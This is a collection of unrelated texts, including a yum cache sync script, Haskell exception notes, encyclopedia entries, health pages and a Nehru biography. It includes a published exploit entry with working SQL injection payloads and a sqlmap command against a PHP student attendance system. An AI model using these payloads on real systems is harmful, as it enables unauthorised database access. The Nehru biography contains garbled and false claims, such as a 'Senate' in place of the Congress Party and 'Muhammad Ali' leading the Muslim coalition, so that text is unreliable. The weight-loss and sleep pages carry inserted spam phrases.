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#!/bin/bash # parallel >= 20131222 required! # config user="frafra" host="192.168.1.5" localuser=$(whoami) localhost="192.168.1.8" #ssh-copy-id $user@$host lockWait() { echo "[#] Yum $1 lock check" while [ -f /var/run/yum.pid ]; do echo "[.] Another app is currently holding the yum lock; waiting for it to exit" sleep 2 done } lockAcquire() { echo "[#] Trying to create Yum $1 lock" echo $$ | sudo tee /var/run/yum.pid echo "[#] Yum $1 lock created"; } lockRelease() { echo "[#] Trying to remove Yum $1 lock" sudo rm -f /var/run/yum.pid echo "[#] Yum $1 lock removed"; } export -f lockWait export -f lockAcquire export -f lockRelease lockWait local lockAcquire local (set -e parallel --no-notice --env lockWait -S 1/$user@$host 'lockWait ' ::: remote #parallel --no-notice --env lockAcquire -S 1/$user@$host 'lockAcquire ' ::: remote #https://savannah.gnu.org/bugs/?37617 (cd /var/cache/yum/ && ls */*/*/packages/*.{d,}rpm) | ssh $user@$host "cat - > /tmp/yum-sync.txt" ssh -t $user@$host "sudo rsync -avz -e ssh $localuser@$localhost:/var/cache/yum/ /var/cache/yum --files-from=/tmp/yum-sync.txt" ssh $user@$host "rm /tmp/yum-sync.txt") lockRelease remote lockRelease local | ESSENTIALAI-STEM |
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## https://sploitus.com/exploit?id=1337DAY-ID-39394
# Exploit Title: Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL
-------------------------------------------------------------------------------------------------------------------------------------------
Source Code(/php-attendance/classes/actions.class.php):
public function attendanceStudents($class_id = "", $class_date = ""){
if(empty($class_id) || empty($class_date))
return [];
$sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC";
$qry = $this->conn->query($sql);
$result = $qry->fetch_all(MYSQLI_ASSOC);
return $result;
}
-> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch
---
Parameter: class_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20
--- | ESSENTIALAI-STEM |
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Metaprogramming Unit Tests, Part 2
by Sean Cribbs
Last time I talked about DRYing up unit tests was quite a while ago. Recently, I had a need to specify a lot of unit tests for some complicated model manipulations. Every time I added a new parameter to the domain of possibilities, the number, complexity and obscurity of the unit tests increased. Having recently seen some ‘bootlegs’ of RejectConf, I was inspired by zenspider’s matrix idea. Now, this might be considered duplication of effort, but here’s what I came up with. Most of the patterns that need complicated parameters in the app in question are creation patterns. As such, I focused on automatically generating tests for creating valid and (not creating) invalid model objects. You could do something similar for patterns that update.
First, we start with a list of the options that can be passed to the creator, also co-opting the creator method from the previous installment:
class UserTest < Test::Unit:TestCase
creator :first_name => "Joe", :last_name => "Schmo", :email => "joe.schmo@example.com"
params :first_name, :last_name, :email, :date_of_birth
end
This sets up the parameter names for the columns of our matrix. Notice how I spaced them out too so you can easily see what is happening for each parameter.
Now we need to specify the range of our tests, including which patterns produce valid models and which ones produce invalid ones.
params :first_name, :last_name, :email, :date_of_birth
valid_create "Joe", "Schmo", "joe.schmo@example.com", nil
valid_create "Joe", "Schmo", "joe.schmo@example.com", '1980-02-15'
In this case, I’ve said that essentially date_of_birth is not a required field. Let’s assume we want our user to have a first name, a last name, an email, and the email has to be in a valid format. We’ll test each parameter independently, like any good scientific process.
params :first_name, :last_name, :email, :date_of_birth
valid_create "Joe", "Schmo", "joe.schmo@example.com", nil
valid_create "Joe", "Schmo", "joe.schmo@example.com", '1980-02-15'
invalid_create nil, "Schmo", "joe.schmo@example.com", '1980-02-15'
invalid_create "Joe", nil, "joe.schmo@example.com", '1980-02-15'
invalid_create "Joe", "Schmo", nil, '1980-02-15'
invalid_create "Joe", "Schmo", "joe.schmo.foo.bar", '1980-02-15'
Notice how I made four independent test cases, where each parameter was manipulated independently. If you want to be extremely exhaustive, you could specify all permutations of the parameters, valid and invalid, but in most cases and well designed systems, they will remain independent.
One last thing I’d like to be able to do is verify that certain extra conditions hold true. For example, maybe we have something that generates a login name from the user’s email address. We want to verify that it starts with the first part of their email address, so we’ll add a block to the end of the test definition that returns a boolean, like so:
valid_create "Joe", "Schmo", "joe.schmo@example.com", '1980-02-15' do |user| user.login =~ /^joe[.]schmo/ end
These tools will handle most cases in which the domain of the model creation is widely varied. I found it especially useful when dealing with models that are ‘parents’ and are responsible for the creation of many associated models. In some cases, I had more than one way to specify the associated models in which one way might win over another, or certain combinations would produce error conditions, but not others. Specifying these interactions in a matrix fashion greatly simplified and clarified the bug-fixing process.
So, I’ve teased you long enough. Here’s the three magic methods that will add this matrix capability to your unit tests. (Place them in test/test_helper.rb)
One extra feature that I didn’t specify above is that the invalid_create tests will print the validation errors to the console while testing. I like this because I mostly use Aptana/RadRails, but you could just as easily turn it off.
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Bará people
The Bará (also called Waímajã and Waípinõmakã) are an indigenous people originating from the northwest of the Amazon rainforest, which lives in the headwaters of the Tiquié River, above the village of Trinidad and in the upper Igarapé Inambú (tributary of the Papurí River that goes to the Vaupés River) and the upper Colorado and Lobo (tributaries of Pira-Paraná that goes to Apaporis).
The Bará are an exogamous phratry identified as "pez people" (Waí mahã) and conformed to eight patrilineal clans. They form part of a regional cultural system of linguistically differentiated exogamous phratries. They speak an Eastern Toucan language, as well as the languages of exogamous ethnic groups or phratries, which form part of this regional system of the Vaupés, based on marriage exchange between them. The wives and mothers of each, as well as the husbands, and children of the sisters of the members of a phratry or linguistic unit do not belong to the same. In practice each person speaks several languages, in addition to the language of their unit or fraternity.
Social organization
The Bará live in communal houses or "malocas" 20 m wide by 40 m long, with a main door to the north, for men and another to the south for women, with a central area used for dances.
Culture
The economy of the Bará combines shifting agriculture, hunting and fishing. The main crop of the chagra is cassava, next to which they plant various species. They complement the diet with the collection of wild fruits and insects. The women are in charge of the pottery and the men the basket weaving. They are skilled makers of carrying baskets and canoes. Currently they are the main specialists in the making of feather decorations used in large ceremonies.
An important ritual is the dabucuri, during which visitors arrive with meat and fish and the hosts offer them cassava chicha, an important manifestation of reciprocity in which the sacred instrument, the yurupari, is played, as in the initiation ritual of men. | WIKI |
Resource limitation of bacterial production distorts the temperature dependence of oceanic carbon cycling
Ángel López-Urrutia*, Xose Anxelu G. Moran
*Corresponding author for this work
Research output: Contribution to journalArticlepeer-review
165 Scopus citations
Abstract
Our view of the effects of temperature on bacterial carbon fluxes in the ocean has been confounded by the interplay of resource availability. Using an extensive compilation of cell-specific bacterial respiration (BRi) and production (BPi), we show that both physiological rates respond to changing temperature in a similar manner and follow the predictions of the metabolic theory of ecology. Their apparently different temperature dependence under warm, oligotrophic conditions is due to strong resource limitation of BPi but not of BRi. Thus, and despite previous preconception, bacterial growth efficiency (BGE = BPi/[BPi + BRi]) is not directly regulated by temperature, but by the availability of substrates for growth. We develop simple equations that can be used for the estimation of bacterial community metabolism from temperature, chlorophyll concentration, and bacterial abundance. Since bacteria are the greatest living planktonic biomass, our results challenge current understanding of how warming and shifts in ecosystem trophic state will modify oceanic carbon cycle feedbacks to climate change.
Original languageEnglish (US)
Pages (from-to)817-822
Number of pages6
JournalEcology
Volume88
Issue number4
DOIs
StatePublished - Jan 1 2007
Keywords
• Bacterial growth efficiency
• Bacterial production
• Bacterial respiration
• Carbon cycling
• Metabolic theory
ASJC Scopus subject areas
• Ecology, Evolution, Behavior and Systematics
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wiki:Exceptions/PreciseExceptions
The semantics of precise exceptions
This page captures some thinking about the semantics of exceptions (early 2017)
See
Precise and imprecise exceptions
David helpfully divides exceptions into
• Imprecise: just as described by A Semantics for Imprecise Exceptions. An imprecise exception can be raised anywhere, by raise# :: Exception -> a, or by failures like divide-by-zero. (I'm going to ignore the structure of exception values, call them all Exception.)
As discussed in the paper, an imprecise exception is a disaster scenario, not an alternative return. We can catch them (in the IO monad) and try some alternative action.
Imprecise exceptions should be considered to be a bug in the program. They should not be used for control flow or for conditions that happen when things are working correctly. Still, we might want to recover from an imprecise exception.
• Precise: raised in the IO monad, by throwIO :: Exception -> IO a, or perhaps by an exception thrown by a foreign function call.
Precise exceptions are a bit less of a disaster; e.g. they are used to report "file does not exist" on file-open. (Is this a good thing? SimonM: one can debate whether I/O errors should be represented as explicit values, e.g. Either DoesNotExist FileContents, but in practice there are many different error conditions that can occur when doing I/O, many of which are rare, so it's convenient to not have to deal with them explicitly.)
Asynchronous exceptions are an orthogonal concept: the notion of precision doesn't apply to asynchronous exceptions which may occur at any time regardless of the expression being evaluated.
The semantics of precise exceptions
One way to give a semantics to precise exceptions is by using an operational semantics, as described in Tackling the awkward squad. But GHC does not reflect that operational semantics internally; instead it expresses IO using state-token-passing. That makes an awkward discontinuity when tryign to reason about GHC optimisations.
Another, suggested by David, is this: regard the IO monad as if it were implemented by an exception monad:
type IO a = State# RealWorld -> (# State# RealWorld, Either Exception a #)
We won't actually do this, but we could behave as if we did. In particular, raiseIO# does not return bottom; it behaves as if it was defined thus
raiseIO# exn s = (# s, Left exn #)
There is more to say; see catchThrowIO in FixingExceptions.
Precise exceptions and strictness
This view of precise exceptions gives us a principled way to answer questions about strictness and precise exceptions: just write it in the form above, and use the imprecise-exceptions paper.
For example, something like
f x = throwIO exn >> x
would mean
f1 x s = case raiseIO# exn s of
(s', Left exn) -> (s', Left exn)
(s', Right _) -> x s'
which is obviously non-strict in x. On the other hand
f2 x = error "foo" >> x
would turn into
f2 x = case raise# exn of
(s', Left exn) -> (s', Left exn)
(s', Right _) -> x s'
and that is strict in x because raise# does return bottom, just as described in the imprecise-exceptions paper.
Catching exceptions
David argues that we should have a new primop catchIO#, which catches only precise exceptions. It behaves as if it was defined like this (with the same type as catch#:
catchIO# :: (State# RealWorld -> (# State# RealWorld, Either Exception a #) )
-> (b -> State# RealWorld -> (# State# RealWorld, Either Exception a #) )
-> State# RealWorld
-> (# State# RealWorld, Either Exception a #)
catchIO# m f s = case m s of
(# s', Left e #) -> f e s'
good -> good
Its behaviour if m s throws an imprecise exception is defined by the original imprecise-exceptions paper: the exception propagates without being caught.
So, looking at #11555, catchIO# undefined throws an exception that is not caught; and catchIO# (putStr x) h s is strict in x.
We still have the original catch# primop, which catches both sorts of exceptions. It catches the imprecise sort exactly as described in the paper, and the precise sort by matching on Left.
So catch# undefined h s calls the handler h. And, for the reasons discussed in #11555, catch# should be lazy so that catch# (f x) does not look strict in x and hence perhaps evaluate x prematurely.
It wouldn't hurt to offer a catchVerbosely# that catches all exceptions and passes the handler an indication (0# or 1#) of whether the exception was precise or imprecise, or perhaps even 0#, 1#, or 2# for precise, imprecise synchronous, or asynchronous. We could actually implement both catch# and catchIO# (as well as the less-obviously-useful catchImprecise#) using catchVerbosely#, although we'd still need to give catchIO# a custom demand signature.
Primops that cannot fail
Is this function strict in x?
fRead :: IO a -> IO a
fRead x = readMutVar r >> x
We can make a choice here. Reading a mutable varaible can't fail (in the IO monad). So we could define the primop (i.e. make it behave) like this:
readMutVar# :: MutVar# s a -> State# s -> (# State# s, a #)
readMutVar :: MutVar (State# RealWorld) a -> IO a
readMutVar (MV r) s = case readMutVar# r s of
(# s', v #) -> (# s', Right v #)
The primop can't fail; and the wrapper readMutVar expresses that explicitly by always returning Right. Now fRead x woudl be strict in x.
Alternatively , we could define the primop like this
readMutVar# :: MutVar# s a -> State# s -> (# State# s, Either Exception a #)
so that the primop looks as if it can fail; now fRead will be lazy.
Simon PJ strongly prefers the former, but it's a free choice.
evaluate
How do we want to deal with evaluate? I (David) believe that evaluate should convert imprecise exceptions into precise ones. That is, we should have something like
evaluate v = IO $ \s ->
catch# (seq# v) (\e -> s' -> raiseIO# e s') s
Or do we want to do this within the seq# primitive?
Implementing precise exceptions
Earlier I said that we want to make IO a "behave as if" it was implemented with a sum type. We don't really want to add all those Left/Right pattern matches in Core; and the implementation does not have them either (because we walk the stack instead). But, if we are going to take this implementation short-cut, we need to think carefully.
• The "behave as if" is the origin of the "IO hack" in the demand analyser DmdAnal.hs:
{- Note [IO hack in the demand analyser]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There's a hack here for I/O operations. Consider
case foo x s of { (# s', r #) -> y }
Is this strict in 'y'? Often not! If foo x s performs some observable action
(including raising an exception with raiseIO#, modifying a mutable variable, or
even ending the program normally), then we must not force 'y' (which may fail
to terminate) until we have performed foo x s.
Hackish solution: spot the IO-like situation and add a virtual branch,
as if we had
case foo x s of
(# s, r #) -> y
other -> return ()
So the 'y' isn't necessarily going to be evaluated
But at least we now understand it better. It would be better if we had a more robust way to signal the need for it than just "unboxed tuple with a State# RealWorld token". Maybe we need a special variant of unboxed pairs.
• The can_fail attribute of a primop could perhaps indicate whether the primop can fail, and hence its strictness behaviour.
• I am keen that case throwIO# exn s of { ... -> BIG } should be able to discard the BIG case alternative; and the same should be true of functions that wrap throwIO#. But since throwIO# is no longer bottoming (in the imprecise sense), that won't happen without more work. We want to say "throwIO# guarantees to return Left" and record that in its strictness signature, and that of its wrapping functions.
Copying the state token
Quite separately from all this, there is another challenge with the state-passing implementation of the IO monad. Look at Note [Transformations affected by can_fail and has_side_effects] in PrimOp.hs, especially
* Duplication. You cannot duplicate a has_side_effect primop. You
might wonder how this can occur given the state token threading, but
just look at Control.Monad.ST.Lazy.Imp.strictToLazy! We get
something like this
p = case readMutVar# s v of
(# s', r #) -> (S# s', r)
s' = case p of (s', r) -> s'
r = case p of (s', r) -> r
(All these bindings are boxed.) If we inline p at its two call
sites, we get a catastrophe: because the read is performed once when
s' is demanded, and once when 'r' is demanded, which may be much
later. Utterly wrong. Trac #3207 is real example of this happening.
I (SLPJ) now think that it's utterly wrong to use the has_side_effect attribute for this purpose.
The real culprit is this:
• If we take an expression (...s...) where s is a state token, and duplicate it, then we have destroyed the linear behaviour of the state, and Many Bad Thing will happen.
So it's nothing to do with primops. We should not inline p in the example above (except if it has a unique call site) because it has a free s. And this is true not only of IO state tokens but any state token; and happily they all have type State# t for some t.
So I propose that we deal with this duplication issue by think about free state tokens, and treat that as a completely orthogonal issue to the question of primops and their properties.
Pinning down IO demand more precisely
The IO hack in the demand analyzer only applies to non-primitive IO actions. This seems quite unfortunate. Small actions are likely to inline and such, escaping the IO hack. I think we probably want to restore the original meaning of has_side_effects, and make sure to apply the hack to any primop that has (observable) side effects but not to others. If we have
case writeMutVar# r v s of
s' -> e s'
then I think we want to consider this lazy in e s'. But if we have
case readMutVar# r s of
(# s', v #) -> e s'
then we want to consider this strict in e s'.
I'm not sure how useful this is, but we can also safely discard non-side-effecting primops. If we have
case readMutVar# v s of
(# s', x #) -> e -- where x is unused in e
then we can simplify this to
e [s' -> s] [x -> error "absent"]
What about something like noDuplicate#? That's a bit weird. It doesn't produce any result, it doesn't have any visible effect, but we're not allowed to discard it. However, we are allowed to be strict in case branches beyond it.
See Demand/IO-vs-ST for some discussion of why we don't want to use the IO hack or allow has_side_effects to affect demand analysis when we're working with strict ST.
IO transactions?
Sometimes, we may not care about the distinctions above. Suppose we have an action that performs several database operations in a transaction. If we hit bottom performing any of the operations, then the whole sequence goes down the drain (as long as we're careful to bracket appropriately to initiate and terminate the transaction). In this case, it might be nice to allow the user to state that these actions, despite being IO-like, are actually occurring in an alternate universe. The trouble is that we could end up needing to compile each action twice: once for when it is being performed as part of a transaction and once for when it is being performed independently. I have no good story for that as yet.
Dreams
In my usual "let's break the entire world!" approach, I'd love to change the actual definition of IO to something entirely different (one operational monad variant or another). I imagine the complaints would be extremely loud. Aside from breaking the world, another potential downside of this approach is that it seems likely harder to take advantage of knowledge that certain actions (e.g., readIORef) have no observable side effects. On the plus side, we could remove absolutely all the I/O hacks from core-to-core that are necessary for correctness, leaving only performance hacks.
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592—625. thou mayest make libations to the immortal gods, mindful of me all thy days."
But him prudent Telemachus answered in turn: "O son of Atreus, do not now detain me here a long time. For indeed I could endure to sit with thee for a year, nor would a regret for home and for my parents possess me; for I am very much delighted at hearing thy words and discourse. But now my companions in divine Pylos are wearied; and thou art detaining me here for a long time. But let the present, whatever thou wouldst have given me, be some furniture: for I will not take horses to Ithaca, but will leave them here as an ornament for thee; for thou rulest over the wide plain, in which there is abundance of lotus, and cypress, and wheat, and rye, and wide-springing white barley. But in Ithaca there are neither wide courses, nor is there any meadow: it is fit for feeding goats, although it is more pleasant [to me] than [a land] that pastures horses. For there is not any of the islands, which are shut up by the sea, fit for driving horses, or that has good meadows; and above all Ithaca."
Thus he spoke; but Menelaus strenuous in the din of battle smiled, and stroken him down by the hand, and spoke and addressed him: "Thou art of a good race, my son, such words dost thou say. Wherefore I will change these things for you; for I am able. But of presents, whatever effects lie in my house, I will give thee that which is most beautiful and most valuable. I will give thee a wrought cup; and it is all silver, but the lips are worked with gold. It is the work of Vulcan; but the hero Phædimus, king of the Sidonians, gave it, when his house covered me being about to return from thence; but I wish to give this to thee."
Thus they indeed spoke such things to one another; but the banqueters had gone to the dwelling of the divine king; and they led forth sheep, and brought heartening wine; and their wives with beautiful fillets brought bread for them. Thus they were arranging about supper in the palace.
But the suitors before the palace of Ulysses were delighted | WIKI |
Dyskeratosis congenita
Also known as: DC, DKC, short telomere disease, dyskeratosis congenita syndrome, dysfunctional telomere maintenance
What is dyskeratosis congenita?
Dyskeratosis congenita is a rare form of bone marrow failure, (which results in decreased numbers of red blood cells, white blood cells and platelets) with associated skin/nail abnormalities, and thickened white patches in the mouth. Other abnormalities that may also be found include, short stature, eye and teeth changes, lung, liver and gut abnormalities and others. There may be an increased risk for leukemia and cancer.
What causes dyskeratosis congenita?
Dyskeratosis congenita is usually inherited from one or both parents, but may result from a spontaneous genetic mutation.
What are the symptoms of dyskeratosis congenita?
Symptoms of dyskeratosis congenita include dark, discolored skin, gray or flat skin, or light areas, most commonly on the neck, shoulders or face. The nails also have fissures or don’t grow properly. Finally, thick, white and mucous-filled patches affect the mouth. Other complications can occur over time from bone marrow failure, or other organ abnormalities.
What are dyskeratosis congenita care options?
Careful, regular examination and monitoring with a variety of tests plus early and ongoing treatment with many different medications and procedures are available to manage your child. Stem cell transplant is a potential cure for the bone marrow failure.
Reviewed by: Jack Wolfsdorf, MD, FAAP
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Angelo Mangiarotti
Angelo Mangiarotti (26 February 1921 – 2 July 2012) was an Italian architect and industrial designer. His designs were mostly for industrial buildings and railway stations. In 1994 he received the Compasso d'Oro award of the Associazione per il Disegno Industriale for his lifetime of achievement.
Life and work
Mangiarotti was born in Milan in 1921. He studied architecture at the Politecnico di Milano, graduating in 1948.
In 1953 he was a visiting professor at the Design Institute of the Illinois Institute of Technology. While in Chicago he came into contact with Frank Lloyd Wright, Walter Gropius, Ludwig Mies van der Rohe and Konrad Wachsmann.
From 1955 to 1960 he had an architectural and design studio in Milan in partnership with Bruno Morassutti, and in 1965 was among the founding members of the Associazione per il Disegno Industriale. He held a number of teaching positions, many of them outside Italy. In 1989 he established an architectural practice in Tokyo.
In 1994 he received the Compasso d'Oro award of the Associazione per il Disegno Industriale for his lifetime of achievement.
He died in Milan on 2 July 2012.
Work
His architectural work included many industrial buildings, among them projects in Padova in 1959, in Marcianise and in Mestre in 1962, in Monza in 1964, and in Cinisello Balsamo in 1973. He also designed a number of railway stations, among them the Milano Certosa and Milano Rogoredo for the Ferrovie dello Stato between 1982 and 1988, and the Porta Venezia and Repubblica stations on the Passante Ferroviario di Milano between 1983 and 1996. Among his other projects were the offices and exhibition space for Snaidero in Majano in Friuli-Venezia Giulia in 1978, and the exhibition centre for the Internazionale Marmi e Macchine – the organisation behind the Fiera Internazionale Marmi e Macchine di Carrara trade fair – in 1992 and 1993.
Books
His book In nome dell'architettura was published by Jaca Book in Milan in 1987. | WIKI |
GE's Distributed Power unit sale backed with US$2.2bn of loans
LONDON (LPC) - General Electric’s Distributed Power business is set to launch a US$2.2bn-equivalent all-loan financing backing its buyout by Advent after the summer, banking sources said on Wednesday. The private equity firm has mandated Bank of America Merrill Lynch, BNP Paribas, Citigroup and Jefferies to arrange the deal. The debt will comprise first and second-lien facilities in both euros and dollars. Other banks are expected to join the deal shortly, the sources said. The deal backs Advent’s US$3.25bn carve-out of General Electric’s Distributed Power division which was announced in June. The sale is expected to be closed in the fourth quarter. The business is forecast to have Ebitda of nearly US$290m for 2018, according to Reuters, after posting revenues of US$1.317bn last year. Ebitda of US$290m would bring nominal leverage for the deal to over seven times that figure. The division includes the Jenbacher and Waukesha gas engine brands and manufacturing sites in North America and Austria. General Electric announced a corporate shake-up and divestment strategy after posting weak profits and calls to be broken up. The three-year plan will see the company exiting about US$20bn in industrial assets. General Electric hopes to book as much as US$10bn of sales proceeds this year. Editing by Tessa Walsh | NEWS-MULTISOURCE |
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Python Question
Redirect print() to file in python 2.4
I'm backporting a modern python script to 2.4 to make it compatible with stock RHEL 5.X. While most of the work has been fairly straight-forward, I can't figure out how to handle this case where I am appending to a file:
print("Foo",file=file("/tmp/bar",'ab'))
This is a very common construct in the code I'm porting. I am using the print function from future, which works fine, but here it chokes on the "file=file("filename", 'ab')" part. Apparently this kind of redirection is not supported in 2.4. Likewise, I haven't found a way for the print function to support the >> operator from the old print. It would be an enormous task to re-write this script without the print function, so I'd like a solution based on the print function.
I've found plenty of docs showing how to use >> in the old print, or file=file() in the new print function, but nothing that actually works in 2.4.
What is the equivalent Python 2.4 compatible code for this?
Answer
The syntax is pretty awful:
print >> file('/tmp/bar', 'ab'), 'Foo'
Though of course you should rather write:
f = open('/tmp/bar', 'ab')
try:
print >> f, 'Foo'
finally:
f.close()
to make sure that the output is actually closed and flushed. (Python 2.4 doesn't have with statement!).
As an alternative to converting everything to print statement, you could also try the print_ function from the Six: Python 2 and 3 Compatibility Library. I am not sure whether the whole library supports 2.4 any longer, but that one function should be OK in 2.4. | ESSENTIALAI-STEM |
The Comprehensive Guide to Effective Weight Loss: A Holistic Approach
Introduction:
In a world where health and fitness are increasingly prioritized, weight loss has become a common goal for many individuals. However, achieving and maintaining a healthy weight goes beyond crash diets and intense workouts. True and lasting Sumatra Slim Belly Tonic requires a holistic approach that addresses not only the physical aspects but also the mental and emotional components of well-being.
Understanding the Basics:
1. Balanced Diet:
Achieving weight loss begins with a balanced and nutritious diet. Focus on incorporating a variety of whole foods, including fruits, vegetables, lean proteins, and whole grains. Portion control is crucial, as it helps regulate calorie intake without depriving the body of essential nutrients.
2. Regular Exercise:
Physical activity is a cornerstone of weight loss. Aim for a combination of cardiovascular exercises, such as brisk walking or cycling, and strength training to build muscle mass. Find activities you enjoy to make exercise a sustainable part of your routine.
3. Hydration:
Often overlooked, staying well-hydrated is essential for weight loss. Water helps boost metabolism, control appetite, and flush out toxins. Aim for at least 8 glasses of water a day, and more if you engage in intense physical activity.
4. Adequate Sleep:
Quality sleep is crucial for weight loss and overall health. Lack of sleep can disrupt hormonal balance, leading to increased cravings for unhealthy foods. Strive for 7-9 hours of restful sleep each night.
Addressing Emotional and Mental Factors:
1. Mindful Eating:
Paying attention to what and how you eat is a vital aspect of weight loss. Practice mindful eating by savoring each bite, listening to your body’s hunger and fullness cues, and avoiding distractions like screens during meals.
2. Stress Management:
Chronic stress can contribute to weight gain. Incorporate stress-reducing activities such as meditation, yoga, or deep breathing exercises into your routine to maintain a healthy mind-body connection.
3. Setting Realistic Goals:
Establish achievable and realistic weight loss goals to avoid disappointment and frustration. Small, gradual changes are more sustainable and are more likely to lead to long-term success.
Seeking Professional Guidance:
1. Nutritional Counseling:
Consider consulting with a registered dietitian or nutritionist to create a personalized and sustainable eating plan that aligns with your weight loss goals.
2. Fitness Trainer:
Working with a certified fitness professional can help you design a workout routine that caters to your fitness level and weight loss objectives while ensuring proper form and technique.
3. Medical Advice:
If you have underlying health conditions or are struggling with significant weight issues, consult with a healthcare professional for personalized guidance and support.
Conclusion:
In the journey towards weight loss, adopting a holistic approach is key to success. By addressing not only physical aspects but also emotional and mental factors, individuals can create sustainable lifestyle changes that promote overall well-being. Remember, the path to weight loss is a unique and individualized journey – embrace the process, stay patient, and celebrate the small victories along the way.
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Sleep Changes with Aging
insomnia elderly
Aging is associated with well described changing in sleep patterns.
• Total sleep time decreases, elderly sleep less
• It takes longer before falling a sleep
• Elderly go to bed earlier and they awake earlier
• There sleep architecture has changed, the slow wave sleep on EEG is reduced, REM sleep is reduced
• They’re easier aroused from sleep
• They sleep fragmented with many arousals
• Daytime napping
In case of primary insomnia, that is sleeplessness that is not attributable to a medical, psychiatric or environmental cause. In that case the general principles of sleep hygiene are applicable. We suggest to check a review by SleepJunkie.org about best mattresses to find out how a good mattress can help you with any sleeping disorders. Grow your business with generation z.
Fundamentals of good sleep hygiene
What to do
• Use your bed only for sleep and sexual activities. If you cannot sleep, get out of bed and read or do other relaxation activities before attempting to sleep again, try to put into practice good bedtime rituals.
• Make the quality of your sleep a priority. Go to bed and get up at the same time every day. Ensure a restful environment:
• A comfortable bed in a cool, well-ventilated room
• Protection from light and noise
• Develop and maintain bedtime “rituals” that make going to sleep a familiar routine; for example, prepare for sleep with 20–30 minutes of relaxation (e.g., soft music, meditation, breathing exercises, yoga), you can even turn on your ultrasonic humidifier where you can add essential oils, take a warm bath, have a light snack, which could include:
• Warm milk
• Foods high in tryptophan, such as bananas
• Carbohydrates, which can help induce sleep
What to Avoid:
• In general, refrain from: Napping, especially after 3:00 pm, Going to sleep too early in the evening (this can lead to phase advance syndrome)
• Before bedtime (or late in the day), avoid: Heavy eating, Consumption of caffeine or alcohol, Smoking (nicotine interferes with sleep), Exercise, which is a stimulant (althoughdaytime activity will promote later sleep)
• Make sure you are using clean and comfy bedclothes in order to avoid a stressful sleep, I love this weighted blanket in UK that helps against my anxiety issues.
• While you try to fall asleep, avoid: Thinking about life issues, Problem-solving, Rehashing the events of the day
ResearchBlogging.org
Wolkove, N., Elkholy, O., Baltzan, M., & Palayew, M. (2007). Sleep and aging: 1. Sleep disorders commonly found in older people Canadian Medical Association Journal, 176 (9), 1299-1304 DOI: 10.1503/cmaj.060792
Wolkove, N., Elkholy, O., Baltzan, M., & Palayew, M. (2007). Sleep and aging: 2. Management of sleep disorders in older people Canadian Medical Association Journal, 176 (10), 1449-1454 DOI: 10.1503/cmaj.070335
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Jawaharlal Nehru "the founder of modern India
Jawaharlal Nehru "the founder of modern India"
"Success is often the ally of those who act boldly, and seldom of those who are hesitant and fearful of situations and their consequences."
Jawaharlal Nehru was born in 1889, in Allahabad, for an affluent family, as his father was a lawyer who belonged to the Barhman varna or social class. He studied at Harrow School which is an independent school for boys in the town of Harrow on Capitol Hill. He then studied law at Trinity College at the University of Cambridge.
After completing his degree, Nehru returned back to India then traveled through Europe, which opened his mind and added to his experience, to allow him to join the Allahabad High Court. He then showed an interest in national politics which replaced his profession as a lawyer. He was a committed nationalist since his youth, and joined the national movement alongside its leader at the time, Mahatma Gandhi, who considered him his right hand, which caused him to be sent to prison for several times. during the uprisings of 1910, Nehru became a rising figure in Indian politics.
During the 1920s, he became a prominent leader of the left wing factions of the Indian National Congress Party, and President of the Senate after the tacit consent of his mentor, Mahatma Gandhi. When he became president of the Senate in 1929, he called for complete independence from British rule and urged the Senate to shift to the left.
Through the Senate, Nehru dominated Indian politics in the 1930s during the country's drive towards independence. His idea of a secular nation-state was ostensibly approved after the Senate swept the Indian provincial elections in 1937, and the government was formed in many provinces.
Muhammad Ali, a former member of the Senate, became an oppositionist leading the Islamic coalition, as he imposed full control over the Islamic politics in India. The negotiations to devide power between the Senate and the Islamic coalition failed, which opend the way for the bloody division of India in 1947. Nehru opposed the participation of India in World War II, and instigating the masses, was sent to prison for three years. Following this war, Britain was forced to recognise the independence of India.
Elected by the Senate, Nehru became the first Prime Minister of the independent India. during his presidency, Nehru applied himself to fulfill the vision he had for India. In 1950, he made the Indian constitution, then initiated a social, political, and economic reform programme. He directed the transition of India from a colony to a republic, without excluding groups and multi-party system. As for foreign policy, he took a leadership role in the Non-Aligned Movement, highlighting India as the dominant region in South Asia.
His policy was based on the principle of socialism, secularization of the state and the achievement of equality between the various constituent classes of Indian society. He was a prominent advocate of the values of justice and peace in the world, as he was known for his effective role, along side Gamal Abdel Nasser and Tito, in leading the Non-Aligned Movement. Moreover, he played a role in supporting peoples and liberation forces in the world against the forces of oppression and colonialism since the Bandung Conference in 1955, which represented the first nucleus of this movement. This movement imposed its presence and respect, and succeeded to a large extent in isolating the colonial powers and exposing their plans.
Nehru wrote several books in English concerning the discovery of India, glimpses of world history, his autobiography, and a book on freedom (1936).
In 1955, Jawaharlal Nehru conferred the Bharat Ratna, the highest civilian honor in the Republic of India. President Rajendra Prasad awarded him the rank of honor without taking the advice of the Prime Minister as a standard constitutional procedure.
Nehru was subjected to four assassination attempts by unknown persons. The first attempt was during the partition of India in 1947, while he was visiting the Northwest Territory in a car. The second was when a rickshaw driver stabbed him in 1955, and the third was in Bombay (present-day Maharashtra) in 1956. The fourth was a failed bombing attempt in Maharashtra in 1961. Despite the threats to his life, Nehru disapproved of having too much protection around him.
